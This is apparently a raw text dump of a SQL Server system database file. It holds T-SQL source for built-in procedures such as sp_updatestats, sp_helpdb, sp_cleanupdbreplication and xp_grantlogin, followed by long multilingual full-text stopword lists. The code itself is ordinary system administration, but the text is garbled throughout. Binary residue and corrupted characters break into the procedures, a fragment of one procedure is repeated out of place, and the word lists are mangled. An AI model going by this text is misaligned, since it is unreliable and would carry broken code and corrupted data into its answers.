	declare @exec_stmt nvarchar(4000)		-- "UPDATE STATISTICS [sysname].[sysname] [sysname] WITH RESAMPLE NORECOMPUTE"
	declare @exec_stmt_head nvarchar(4000)	-- "UPDATE STATISTICS [sysname].[sysname] "
	declare @options nvarchar(100)			-- "RESAMPLE NORECOMPUTE"

	declare @index_names cursor

	declare @ind_name sysname
	declare @ind_id int
	declare @ind_rowmodctr int
	declare @updated_count int
	declare @skipped_count int

	declare @sch_id int
	declare @schema_name sysname
	declare @table_name sysname
	declare @table_id int
	declare @table_type char(2)
	declare @schema_table_name nvarchar(640) -- assuming sysname is 128 chars, 5x that, so it's > 128*4+4

	declare @compatlvl tinyint

	declare ms_crs_tnames cursor local fast_forward read_only for
		select name, object_id, schema_id, type from sys.objects o
		where o.type = 'U' or o.type = 'IT'
	open ms_crs_tnames
	fetch next from ms_crs_tnames into @table_name, @table_id, @sch_id, @table_type

	-- determine compatibility level
	select @compatlvl = cmptlevel from sys.sysdatabases where name = db_name()

	while (@@fetch_status <> -1) -- fetch successful
	begin
		-- generate fully qualified quoted name
		select @schema_name = schema_name(@sch_id)
		select @schema_table_name = quotename(@schema_name, '[') +'.'+ quotename(rtrim(@table_name), '[')

		-- check for table with disabled clustered index
		if (1 = isnull((select is_disabled from sys.indexes where object_id = @table_id and index_id = 1), 0))
		begin
			-- raiserror('Table ''%s'': cannot perform the operation on the table because its clustered index is disabled', -1, -1, @tablename)
			raiserror(15654, -1, -1, @schema_table_name)
		end
		else
		begin
			-- filter out local temp tables and Hekaton tables
			-- Note that OBJECTPROPERTY returns NULL on type="IT" tables, thus we only call it on type='U' tables
			if ((@@fetch_status <> -2) and 
			   (substring(@table_name, 1, 1) <> '#') and		-- temp tables
			   ((@table_type<>'U') or (0 = OBJECTPROPERTY(@table_id, 'TableIsInMemory'))))	-- Hekaton tables
			begin
				-- reset counters for this table
				select @updated_count = 0
				select @skipped_count = 0

				-- print status message
				--raiserror('Updating %s', -1, -1, @schema_table_name)
				raiserror(15650, -1, -1, @schema_table_name)

				-- initial statement preparation: UPDATE STATISTICS [schema].[name]
				select @exec_stmt_head = 'UPDATE STATISTICS ' + @schema_table_name + ' '

				-- using another cursor to iterate through
				-- indices and stats (user and auto-created)
				set @index_names = cursor local fast_forward read_only for
					select name, indid, rowmodctr from sys.sysindexes
					where id = @table_id and indid > 0 and indexproperty(id, name, 'ishypothetical') = 0
					order by indid

				open @index_names
				fetch @index_names into @ind_name, @ind_id, @ind_rowmodctr

				-- if there are no stats, skip update
				if @@fetch_status < 0
					--raiserror('    %d indexes/statistics have been updated, %d did not require update.', -1, -1, @updated_count, @skipped_count)
					raiserror(15651, -1, -1, @updated_count, @skipped_count)
				else 
				begin
					while @@fetch_status >= 0
					begin
						-- create quoted index name
						declare @ind_name_quoted nvarchar(258)
						select @ind_name_quoted = quotename(@ind_name, '[')

						-- reset options
						select @options = ''

						declare @is_ver_current bit
						select @is_ver_current = stats_ver_current(@table_id, @ind_id)

						-- note that <> 0 should work against old and new rowmodctr logic (when it is always > 0)
						-- also, force a refresh if the stats blob version is not current
						if ((@ind_rowmodctr <> 0) or ((@is_ver_current is not null) and (@is_ver_current = 0)))
						begin
							select @exec_stmt = @exec_stmt_head + @ind_name_quoted

							-- add resample if needed
							if (upper(@resample)='RESAMPLE') select @options = 'RESAMPLE '
							
							if (@compatlvl >= 90)
								-- put norecompute if local properties are set to AUTOSTATS = OFF
								-- note that ind name is unique within the object
								if ((select no_recompute from sys.stats where object_id = @table_id and name = @ind_name) = 1)
								begin
									if (len(@options) > 0) select @options = @options + ', NORECOMPUTE'
									else select @options = 'NORECOMPUTE'
								end

							if (len(@options) > 0)
								select @exec_stmt = @exec_stmt + ' WITH ' + @options

							--print @exec_stmt
							exec (@exec_stmt)
							--raiserror('    %s has been updated...', -1, -1, @ind_name_quoted)
							raiserror(15652, -1, -1, @ind_name_quoted)
							select @updated_count = @updated_count + 1
						end
						else
						begin
							--raiserror('    %s, update is not necessary...', -1, -1, @ind_name_quoted)
							raiserror(15653, -1, -1, @ind_name_quoted)
							select @skipped_count = @skipped_count + 1
						end
						fetch @index_names into @ind_name, @ind_id, @ind_rowmodctr
					end
					--raiserror('    %d index(es)/statistic(s) have been updated, %d did not require update/disabled.', -1, -1, @updated_count, @skipped_count)
					raiserror(15651, -1, -1, @updated_count, @skipped_count)
				end
				deallocate @index_names
			end
		end
		print ' '
		fetch next from ms_crs_tnames into @table_name, @table_id, @sch_id, @table_type
	end
	raiserror(15005,-1,-1)
	deallocate ms_crs_tnames
	return(0) -- sp_updatestats
0WQ) 8CREATE VIEW sys.dm_db_missing_index_details AS
	SELECT *
	FROM OpenRowset(TABLE MISSING_IDX_DETAILS)
0X 8create function sys.fn_fulltext_compindex(
    @dbid int,
    @objid int,
    @complevel int)
returns table as return
    select * from openrowset(TABLE FTCOMPINDEX, @dbid, @objid, @complevel) compidx 
07 F8create procedure sys.sp_helprole
	@rolename       sysname = NULL
AS
	if @rolename is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from sys.database_principals where name = @rolename and (type = 'R' or type = 'A'))
		begin
			raiserror(15409, -1, -1, @rolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE ROLE
		select 'RoleName' = name, 'RoleId' = principal_id, 'IsAppRole' = case type when 'A' then 1 else 0 end
			from sys.database_principals
			where (name = @rolename) and (type = 'R' or type = 'A')
	end
	else
	begin
		-- RESULT SET FOR ALL ROLES
		select 'RoleName' = name, 'RoleId' = principal_id, 'IsAppRole' = case type when 'A' then 1 else 0 end
			from sys.database_principals where (type = 'R' or type = 'A')
	end

	return (0) -- sp_helprole
0V@ 8CREATE VIEW sys.dm_clr_properties AS
	SELECT
		name,
		value
	FROM OpenRowset(TABLE DM_CLR_PROPERTIES) 
0 8CREATE FUNCTION sys.dm_exec_cursors (@spid int)
RETURNS table
AS
	RETURN SELECT *
	FROM OpenRowSet(TABLE DM_EXEC_CURSORS, @spid)
0e@ 8 
-- add it
create view sys.dm_pdw_nodes_os_hosts as
select *, convert(int, null) pdw_node_id from sys.dm_os_hosts
+:`g<"PMf50&b 8create function sys.fn_quotefourpartname
    (
    @tabname     nvarchar(1035),  --1035 = 258*4+3. longest four part quoted name. 258 = 256 + two quota 
    @quote nchar(1)
    )
returns nvarchar(1035)
as
begin
    declare @quotetabname   nvarchar(1035)
    declare @tmpname        nvarchar(517)  -- it really should use 128, since it holds a single part sysname without quota 
    declare @i  int

    select @i = 4
    select @quotetabname = null

    while(@i > 0)
    begin
        if @quotetabname is not null
        begin
            select @quotetabname = @quotetabname + '.'
        end

        select @tmpname = parsename(@tabname,@i)
        if @tmpname is not null
        begin
            select @quotetabname = COALESCE(@quotetabname,N'')
                 + quotename(@tmpname,@quote)
        end

        select @i =@i -1
    end
    return @quotetabname
end
0
f@ 
8create procedure sys.sp_cleanupdbreplication
AS
    set nocount on

    declare @pubid            uniqueidentifier    
    declare @artid            uniqueidentifier
    declare @retcode        int

    exec @retcode = sys.sp_MSreplcheck_publish
    if (@retcode <> 0 or @@error <> 0)
        return 1

    if object_id('sysmergesubscriptions') is NULL
        return (0)
    declare #RemoveReplication CURSOR LOCAL FAST_FORWARD for 
        select pubid from dbo.sysmergepublications 
    open #RemoveReplication
    fetch #RemoveReplication into @pubid
    while (@@fetch_status<>-1)
    begin
        /* Clean up the articles for this publication, and delete the row */
        select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
        while @artid is not null
        begin
            if not exists (select * from dbo.sysmergearticles WHERE artid = @artid and pubid <> @pubid)
            begin
                exec @retcode=sys.sp_MSarticlecleanup @pubid, @artid, 1
                if @retcode<>0 or @@ERROR<>0 
                begin
                    close #RemoveReplication
                    deallocate #RemoveReplication
                    return (1)
                end
            end

            delete from dbo.sysmergepartitioninfo where artid = @artid and pubid = @pubid
            delete from dbo.sysmergearticles where artid = @artid and pubid = @pubid
            set @artid = NULL
            select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
        end
        fetch #RemoveReplication into @pubid
    end
    close #RemoveReplication
    deallocate #RemoveReplication
            
    /* Now clean up any traces in other system tables */

    if object_id('MSmerge_generation_partition_mappings', 'U') is not NULL
        truncate table dbo.MSmerge_generation_partition_mappings    
    if object_id('MSmerge_genhistory', 'U') is not NULL
        truncate table dbo.MSmerge_genhistory 
    if object_id('MSmerge_replinfo', 'U') is not NULL
        truncate table dbo.MSmerge_replinfo
    if object_id('sysmergesubsetfilters', 'U') is not NULL
        truncate table dbo.sysmergesubsetfilters 
    if object_id('sysmergesubscriptions', 'U') is not NULL
        truncate table dbo.sysmergesubscriptions 
    
    if object_id('MSmerge_history', 'U') is not NULL
        truncate table dbo.MSmerge_history 
    if object_id('MSrepl_errors', 'U') is not NULL
        truncate table dbo.MSrepl_errors 
    if object_id('MSmerge_articlehistory', 'U') is not NULL
        truncate table dbo.MSmerge_articlehistory 
    if object_id('MSmerge_sessions', 'U') is not NULL
        truncate table dbo.MSmerge_sessions 
    
    if object_id('MSmerge_current_partition_mappings', 'U') is not NULL
        truncate table dbo.MSmerge_current_partition_mappings
    if object_id('MSmerge_past_partition_mappings', 'U') is not NULL
        truncate table dbo.MSmerge_past_partition_mappings
    -- cannot use truncate table on MSmerge_partition_groups because it is referenced by an FK.
    if object_id('MSmerge_partition_groups', 'U') is not NULL
        delete from dbo.MSmerge_partition_groups
    if object_id('sysmergepublications', 'U') is not NULL
        truncate table dbo.sysmergepublications
    if object_id('sysmergeschemachange', 'U') is not NULL
        truncate table dbo.sysmergeschemachange
    return (0)
0mg@ 8create procedure sys.sp_MSrepl_addrolemember
    @rolename       sysname,
    @membername     sysname
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
    set    nocount on
    return(0)
0g@ '8create procedure sys.sp_MSrepl_incrementlsn (
	@xact_seqno binary(10) OUTPUT
)
as
	declare @retcode int
	/*
    	** Security Check, this proc is called by snapshot agent or sp_repladd(drop)column, against pub db as DBO
    	*/
    	exec @retcode = sys.sp_MSreplcheck_publish
    	if @@ERROR <> 0 or @retcode <> 0
	begin
        	return(1)
	end

    	exec @retcode = sys.sp_replincrementlsn_internal @xact_seqno OUTPUT
    	if @@ERROR <> 0 or @retcode <> 0
	begin
        	return(1)
	end

	return 0
0,m@ 8create procedure sys.sp_scriptsinsproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL         -- May only be non-NULL if @publishertype = 2		
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptinsproccore 
                @artid = @artid
                ,@format = 5
                ,@mode = 1          -- regular scripting mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
        end
        fetch #RemoveReplication into @pubid
    end
    close #RemoveReplication
    deallocate #RemoveReplication
            
    /* Now clean up any traces in other system tables */

    if object_id('MSmerge_generation_partition_mappings', 'U') is not NULL
        truncate table dbo.MSmerge_generation_partition_mappings    
    if object_id('MSmerge_genhistory', 'U') is not NULL
        truncate table dbo.MSmerge_genhistory 
    if object_id('MSmerge_replinfo', 'U') is not NULL
        truncate table dbo.MSmerge_replinfo
    if object_id('sysmergesubsetfilters', 'U') is not NULL
        truncate table dbo.sysmergesubsetfilters 
    if object_id('sysmergesubscriptions', 'U') is not NULL
        truncate table dbo.sysmergesubscriptions 
    
    if object_id('MSmerge_history', 'U') is not NULL
        truncate table dbo.MSmerge_history 
    if object_id('MSrepl_errors', 'U') is not NULL
        truncate table dbo.MSrepl_errors 
    if object_id('MSmerge_articlehistory', 'U') is not NULL
        truncate table dbo.MSmerge_articlehistory 
    if object_id('MSmerge_sessions', 'U') is not NULL
        truncate table dbo.MSmerge_sessions 
    
    if object_id('MSmerge_current_partition_mappings', 'U') is not NULL
        truncate table dbo.MSmerge_current_partition_mappings
    if object_id('MSmerge_past_partition_mappings', 'U') is not NULL
        truncate table dbo.MSmerge_past_partition_mappings
    -- cannot use truncate table on MSmerge_partition_groups because it is referenced by an FK.
    if object_id('MSmerge_partition_groups', 'U') is not NULL
        delete from dbo.MSmerge_partition_groups
    if object_id('sysmergepublications', 'U') is not NULL
        truncate table dbo.sysmergepublications
    if object_id('sysmergeschemachange', 'U') is not NULL
        truncate table dbo.sysmergeschemachange
    return (0)
@Z{aQ

`j<IF0 8create procedure sys.sp_helpdb  -- 1995/12/20 15:34 #12755
@dbname sysname = NULL			-- database name
as

declare @exec_stmt nvarchar(625)
declare @showdev	bit
declare @name           sysname
declare @cmd	nvarchar(285) -- (26 + 258) + 1 extra
declare @dbdesc varchar(600)	/* the total description for the db */
declare @propdesc varchar(40)

set nocount on

/*	Create temp table before any DMP to ensure dynamic
**  Since we examine the status bits in sysdatabase and turn them
**  into english, we need a temporary table to build the descriptions.
**
**  Primary key on a useful column allows for keyset cursor in case of downgrade.
**  Required for MatrixDB, which does not support Dynamic.
*/
create table #spdbdesc
(
	dbname sysname,
	owner sysname null,
	created nvarchar(11),
	dbid	smallint primary key,
	dbdesc	nvarchar(600)	null,
	dbsize		nvarchar(13) null,
	cmptlevel	tinyint
)

/*
**  If no database name given, get 'em all.
*/
if @dbname is null
	select @showdev = 0
else select @showdev = 1

/*
**  See if the database exists
*/
if not exists (select * from master.dbo.sysdatabases
	where (@dbname is null or name = @dbname))
	begin
		raiserror(15010,-1,-1,@dbname)
	  return (1)
	end


/*
**  Initialize #spdbdesc from sysdatabases
*/
insert into #spdbdesc (dbname, owner, created, dbid, cmptlevel)
		select name, isnull(suser_sname(sid),'~~UNKNOWN~~'), convert(nvarchar(11), crdate),
			dbid, cmptlevel from master.dbo.sysdatabases
			where (@dbname is null or name = @dbname)


declare ms_crs_c1 cursor global for
	select db_name (dbid) from #spdbdesc
open ms_crs_c1
fetch ms_crs_c1 into @name
while @@fetch_status >= 0
begin
	if (has_dbaccess(@name) <> 1)
	begin
	  delete #spdbdesc where current of ms_crs_c1
	  raiserror(15622,-1,-1, @name)
	end
	else
		begin
			/* Insert row for each database */
			select @exec_stmt = 
			    'update #spdbdesc
/*
** 8 KB pages is 128 per MB. If we ever change page size, this
** will be variable by DB or file or filegroup in some manner 
** unforseeable now so just hard code it.
*/
				set dbsize = (select str(sum(convert(dec(17,2),size)) / 128,10,2)
				+ N'' MB'' from '
 				+ quotename(@name, N'[') 
 				+ N'.dbo.sysfiles) 
 				WHERE current of ms_crs_c1'

			execute (@exec_stmt)
		end
	fetch ms_crs_c1 into @name
end
deallocate ms_crs_c1

/*
**  Now for each dbid in #spdbdesc, build the database status
**  description.
*/
declare @curdbid smallint	/* the one we're currently working on */
/*
**  Set @curdbid to the first dbid.
*/
select @curdbid = min(dbid) from #spdbdesc


while @curdbid IS NOT NULL
begin
	set @name = db_name(@curdbid)

	-- These properties always available
	SELECT @dbdesc = 'Status=' + convert(sysname,DatabasePropertyEx(@name,'Status'))
	SELECT @dbdesc = @dbdesc + ', Updateability=' + convert(sysname,DatabasePropertyEx(@name,'Updateability'))
	SELECT @dbdesc = @dbdesc + ', UserAccess=' + convert(sysname,DatabasePropertyEx(@name,'UserAccess'))
	SELECT @dbdesc = @dbdesc + ', Recovery=' + convert(sysname,DatabasePropertyEx(@name,'Recovery'))
	SELECT @dbdesc = @dbdesc + ', Version=' + convert(sysname,DatabasePropertyEx(@name,'Version'))

	-- These props only available if db not shutdown
	IF DatabasePropertyEx(@name, 'Status') <> 'SUSPECT'
	BEGIN
		SELECT @dbdesc = @dbdesc + ', Collation=' + convert(sysname,DatabasePropertyEx(@name,'Collation'))
		SELECT @dbdesc = @dbdesc + ', SQLSortOrder=' + convert(sysname,DatabasePropertyEx(@name,'SQLSortOrder'))
	END

	-- These are the boolean properties
	IF DatabasePropertyEx(@name,'IsAutoClose') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAutoClose'
	IF DatabasePropertyEx(@name,'IsAutoShrink') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAutoShrink'
	IF DatabasePropertyEx(@name,'IsInStandby') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsInStandby'
	IF DatabasePropertyEx(@name,'IsTornPageDetectionEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsTornPageDetectionEnabled'
	IF DatabasePropertyEx(@name,'IsAnsiNullDefault') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAnsiNullDefault'
	IF DatabasePropertyEx(@name,'IsAnsiNullsEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAnsiNullsEnabled'
	IF DatabasePropertyEx(@name,'IsAnsiPaddingEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAnsiPaddingEnabled'
	IF DatabasePropertyEx(@name,'IsAnsiWarningsEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAnsiWarningsEnabled'
	IF DatabasePropertyEx(@name,'IsArithmeticAbortEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsArithmeticAbortEnabled'
	IF DatabasePropertyEx(@name,'IsAutoCreateStatistics') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAutoCreateStatistics'
	IF DatabasePropertyEx(@name,'IsAutoUpdateStatistics') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsAutoUpdateStatistics'
	IF DatabasePropertyEx(@name,'IsCloseCursorsOnCommitEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsCloseCursorsOnCommitEnabled'
	IF DatabasePropertyEx(@name,'IsFullTextEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsFullTextEnabled'
	IF DatabasePropertyEx(@name,'IsLocalCursorsDefault') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsLocalCursorsDefault'
	IF DatabasePropertyEx(@name,'IsNullConcat') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsNullConcat'
	IF DatabasePropertyEx(@name,'IsNumericRoundAbortEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsNumericRoundAbortEnabled'
	IF DatabasePropertyEx(@name,'IsQuotedIdentifiersEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsQuotedIdentifiersEnabled'
	IF DatabasePropertyEx(@name,'IsRecursiveTriggersEnabled') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsRecursiveTriggersEnabled'
	IF DatabasePropertyEx(@name,'IsMergePublished') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsMergePublished'
	IF DatabasePropertyEx(@name,'IsPublished') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsPublished'
	IF DatabasePropertyEx(@name,'IsSubscribed') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsSubscribed'
	IF DatabasePropertyEx(@name,'IsSyncWithBackup') = 1
		SELECT @dbdesc = @dbdesc + ', ' + 'IsSyncWithBackup'

	update #spdbdesc set dbdesc = @dbdesc where dbid = @curdbid

	/*
	**  Now get the next, if any dbid.
	*/
	select @curdbid = min(dbid) from #spdbdesc where dbid > @curdbid
end

/*
**  Now #spdbdesc is complete so we can print out the db info
*/
select name = dbname,
	db_size = dbsize,
	owner = owner,
	dbid = dbid,
	created = created,
	status = dbdesc,
    compatibility_level = cmptlevel
from  #spdbdesc
order by dbname

/*
**  If we are looking at one database, show its file allocation.
*/
if @showdev = 1 and has_dbaccess(@dbname) = 1
begin
	print N' '
	select @cmd = N'use ' +  quotename(@dbname) + N' exec sys.sp_helpfile'
	exec (@cmd)

end
return (0) -- sp_helpdb
0=+" 8create function sys.fn_trace_geteventinfo
	(@handle int
	)

returns @tab table(eventid int NOT NULL,
	columnid int NOT NULL)
as
begin
	insert @tab
	select * from OpenRowset(TABLE TRACEEVENTINFO, @handle)

	return
end -- fn_trace_geteventinfo
0T6 _8create procedure sys.xp_grantlogin
    @loginame       sysname,
    @logintype      varchar(5) = Null       -- ignored unless 'admin'
AS
	set nocount on

    -- IF NAME NOT 'DOMAIN\USER', ADD DEFAULT DOMAIN --
    if (charindex('\', @loginame) = 0)
    begin
        select @loginame = default_domain() + '\' + @loginame
    end

	Declare @ret   int     -- return value of sp call
    execute @ret = sys.sp_grantlogin @loginame
    if (@ret = 0 and @logintype = 'admin')
        execute @ret = sys.sp_addsrvrolemember @loginame, 'sysadmin'
    return (@ret)
06 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_cache_counters as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_cache_counters
0~4 D82ch+4tU`
ZUJ
^_8!!!!`yUcKʣTqi_&many&g&on&tja&_&ad&bl&dig&ej&5einundsechzigstes&hos&knap&never&see&som&vist&&7zweiundsechzigster&drfen&wonach&'irgendeine&come&deine&et&nahe&potz&r&set&)trillionste&vel&auf&
fuesen&'dasselbige&#Trillion&%cinquime&poteva&prosit&#quarante&
'sexagsima&;siebenundzwanzigstem&
s&von&+papperlapapp&)centotrenta&hanno&!weitaus&alras&bauz&din&dix&dopo&mi&nos&
seamos&var&#miaBy[my&cela&#comear&czyja&dette&duquel&)eronderdoor&!fichtre&haver&i&moi&
ojal&)parecramos&'permanecem&
#quisiera&#teneinde&%tivramos&)unbeschadet&%virramos&virei&7vierundfnfzigster&A0&#1K202H8<&#28452H89&3>@074&#459AB2CO&64CB&8<52H8&!8ICI8<8&!;53:8<8&'=0G8=0NBAO&=8GB>&>B=K=5&+?>;CG02H89AO&!?><>65<&?@5645&@>AH8&%A;54CNICN&#AB>;5G:>&+B@51>20==><C&	!E>@>H89&
M:CN&+zijnentwille&
XXI&
#buitenop&ma&ors&tero&to&treze&1;87:8&no&'grandalho&!23;CECN&4=O&!7=05<K9&<>65B5&%>A>15==>5&!B0:>2CN&C6>&!G51C@0E&'ingenlunde&!40;L=8E& A84O&!:>9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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$mehreres0
mein0
meine0
 meinem0
 meinen0
 meiner0
 meines0
0meinesgleichen0
"meinige0
$meinigen0
meins0
	many0
	me0
	me0

mas0

me0

$mecachis0

$mediante0

menos0
"mazette0
me0
merci0
merde0
mes0
"marameo0
 marsc'0
me0
$medesima0
$medesime0
$medesimi0
$medesimo0
$mediante0
meno0
 mentre0
me0
me0
me0
mede0
medio0
mee0
&meermaals0
&meermalen0
"meestal0
,meestentijds0
(meesttijds0
mega0
 mekaar0
"mekaars0
$mekander0
&mekanders0
men0
&menigmaal0
&menigwerf0
4menselijkerwijze0
merci0
(merendeels0
met0
meta0
 meteen0
(metterdaad0
(mettertijd0
(metterwoon0
 mezelf0
masz0
mas0
me0
$mediante0
meia0
meias0
meio0
meios0
 melhor0
$melhores0
menor0
"menores0
menos0
mesma0
 mesmas0
mesmo0
 mesmos0
meu0
meus0
mas0
 melhor0
menos0
mesmo0
med0
medan0
"medelst0
 mellan0
men0
me0
meer0
"meerki0
"meersemight0
	more0
	most0
	much0
	must0
	my0

mas0

me0

$mecachis0

$mediante0

menos0

mi0

$mientras0

mil0

*millonsima0

,millonsimas0

*millonsimo0

,millonsimos0

 milln0

0milmillonsima0

2milmillonsimas0

0milmillonsimo0

2milmillonsimos0

$milsima0

&milsimas0

$milsimo0

&milsimos0

mis0

mucha0

 muchas0

mucho0

 muchos0

m0

ma0

mas0

mo0

mos0

nada0

nadie0
n0
"mazette0
me0
merci0
merde0
mes0
mien0
 mienne0
"miennes0
miens0
$milliard0
,milliardime0
.milliardimes0
*millionime0
,millionimes0
$millime0
&millimes0
mince0
 minute0
*misricorde0
moi0
moins0
mon0
"morbleu0
motus0
&moyennant0
mtin0
na0
n0
"marameo0
 marsc'0
me0
$medesima0
$medesime0
$medesimi0
$medesimo0
$mediante0
meno0
 mentre0
mi0
mia0
miao0
mie0
miei0
mila0
*milionesimo0
mille0
&millesimo0
mio0
molta0
molte0
molti0
molto0
n0
me0
might0
more0
most0
much0
must0
my0
me0
might0
more0
most0
much0
must0
my0
n0
n0
me0
mede0
medio0
mee0
&meermaals0
&meermalen0
"meestal0
,meestentijds0
(meesttijds0
mega0
 mekaar0
"mekaars0
$mekander0
&mekanders0
men0
&menigmaal0
&menigwerf0
4menselijkerwijze0
merci0
(merendeels0
met0
meta0
 meteen0
(metterdaad0
(mettertijd0
(metterwoon0
 mezelf0
masz0
mas0
me	: 			d	H	.	V	:(PdFhF
N&
"p(

lH&vX<

~R0
,j
|X


x
`
R
xH@|`n
V8
r `
wUB6HiXp0
g0
g0
get0
get0
got0
got0
h0
h0
had0
had0
g0
gang0
 ganske0
"gengld0
 gennem0
gerne0
gik0
 gjorde0
gjort0
g0
get0
gr0
gr0
gre0
h0
haft0
ham0
han0
g0
h0
gack0
&gebraucht0
"gedurft0
gegen0
&gegenber0
 gehabt0
"gekonnt0
,gelegentlich0
gell0
gelt0
"gemusst0
 gemut0
 gemss0
gem0
gen0
*genausoviel0
,genausowenig0
(geschweige0
"gesollt0
"gewesen0
"gewollt0
 gleich0
&gleichwie0
(gleichwohl0
ha0
habe0
haben0
 habend0
 habest0
habet0
habt0
hach0
haha0
 hahaha0
 halber0
hallo0
halt0
	get0
	got0
	had0
	g0
	h0
	get0
	got0
	had0

gua0

guapa0

guapo0

ha0

habed0

haber0

$habiendo0

$habremos0

habr0

 habrn0

 habrs0

habr0

"habris0

 habra0

$habrais0

&habramos0

"habran0

"habras0

 habis0

haba0

"habais0

$habamos0

 haban0

 habas0

hacia0

hala0

han0
g0
h0
gare0
grce0
gu0
ha0
halte0
g0
h0
"giacch0
gli0
 gliela0
 gliele0
 glieli0
 glielo0
 gliene0
"granch0
 grazie0
guai0
ha0
hai0
hallo0
g0
h0
get0
got0
had0
get0
got0
had0
h0
g0
h0
&gaandeweg0
gaans0
 gaarne0
gauw0
ge0
&gedurende0
geen0
$geeneens0
&geenszins0
,gelijkerwijs0
0gelukkigerwijs0
2gelukkigerwijze0
*gemakshalve0
,gemeentewege0
gene0
0gewapenderhand0
&gewoonweg0
4gezondheidshalve0
gij0
&gijlieden0
 ginder0
ginds0
 gister0
$gisteren0
.gisterenavond0
0gisterenmiddag0
0gisterenmorgen0
 gladaf0
"gladweg0
"goddank0
$goddomme0
$goddorie0
$godswege0
*godverdomme0
(godzijdank0
&goeddeels0
&goedendag0
*goeiemorgen0
(grafwaarts0
grata0
"grifweg0
.groepsgewijze0
(grotelijks0
*grotendeels0
ha0
haar0
$haarzelf0
haast0
$halfdoor0
$halfstok0
"halfweg0
hallo0
,halverhoogte0
(halverwege0
(halverwind0
gdyby0
gdy0
g0
h0
 graas0
(grandalho0
*grandalhes0
*grandalhona0
,grandalhonas0
 grande0
*grandemente0
"grandes0
0grandessssima0
2grandessssimas0
0grandessssimo0
2grandessssimos0
*grandssima0
,grandssimas0
*grandssimo0
,grandssimos0
haja0
 hajais0
hajam0
"hajamos0
hajas0
g0
 grande0
"grandes0
h0
g0
h0
g0
h0
genom0
$gentemot0
gm0
 goddag0
&godmorgon0
"grattis0
ha0
hade0
haft0
hafts0
&halleluja0
halvt0
han0
get0
got0
had0
g0
g0
gel<~2`: dzpR2^



b
D
$

			@ 	b	rVJ	>f


`^~v^,		J*~j>P.pVFJ,jF"zb



h
N
`@@ ^0n,
:,0> \B$r@^(<~X@$vjtZzv
JHT`
qUL5KL0
on0
on0
only0
only0
or0
or0
op0
opad0
oppe0
"oppefra0
*oprindeligt0
	on0
	only0
	or0
	on0
	only0
	or0

once0

 oncena0

"oncenas0

 onceno0

"oncenos0

ora0
on0
ont0
onze0
"onzime0
$onzimes0
or0
 oppure0
 orbene0
on0
only0
or0
only0
or0
&onbeziens0
"ondanks0
onder0
$onderaan0
"onderaf0
&onderdoor0
$ondereen0
"onderen0
"onderin0
"onderom0
6onderscheidenlijk0
*ondershands0
.ondersteboven0
*ondertussen0
$onderuit0
$onderweg0
&onderwijl0
 oneens0
$ongaarne0
$ongeacht0
4ongelukkigerwijs0
,ongetwijfeld0
$ongeveer0
"onlangs0
onpas0
ons0
"onszelf0
0ontegenzeglijk0
*onvoorziens0
$onwetens0
&onwillens0
onze0
onzen0
*onzenthalve0
(onzentwege0
&onzentwil0
(onzerzijds0
(oogluikend0
ooit0
ook0
op0
opdat0
opeen0
 opeens0
$ophanden0
"opnieuw0
opzij0
oraz0
oni0
on0
ono0
one0
onde0
ontem0
onze0
ora0
onde0
ontem0
orka0
 orkade0
"orkades0
"orkande0
$orkandes0
orkar0
orkas0
orkat0
 orkats0
on0
only0
or0
onlar0
ono0
$ono0
$onega0
$onemu0
$onem0
$onimentomila0
$ottomila0
ove0
 ovvero0
&ovverosia0
ovvia0
p0
on0
only0
or0
other0
our0
out0
over0
only0
or0
other0
our0
out0
over0
p0
p0
&onbeziens0
"ondanks0
onder0
$onderaan0
"onderaf0
&onderdoor0
$ondereen0
"onderen0
"onderin0
"onderom0
6onderscheidenlijk0
*ondershands0
.ondersteboven0
*ondertussen0
$onderuit0
$onderweg0
&onderwijl0
 oneens0
$ongaarne0
$ongeacht0
4ongelukkigerwijs0
,ongetwijfeld0
$ongeveer0
"onlangs0
onpas0
ons0
"onszelf0
0ontegenzeglijk0
*onvoorziens0
$onwetens0
&onwillens0
onze0
onzen0
*onzenthalve0
(onzentwege0
&onzentwil0
(onzerzijds0
(oogluikend0
ooit0
ook0
op0
opdat0
opeen0
 opeens0
$ophanden0
"opnieuw0
opzij0
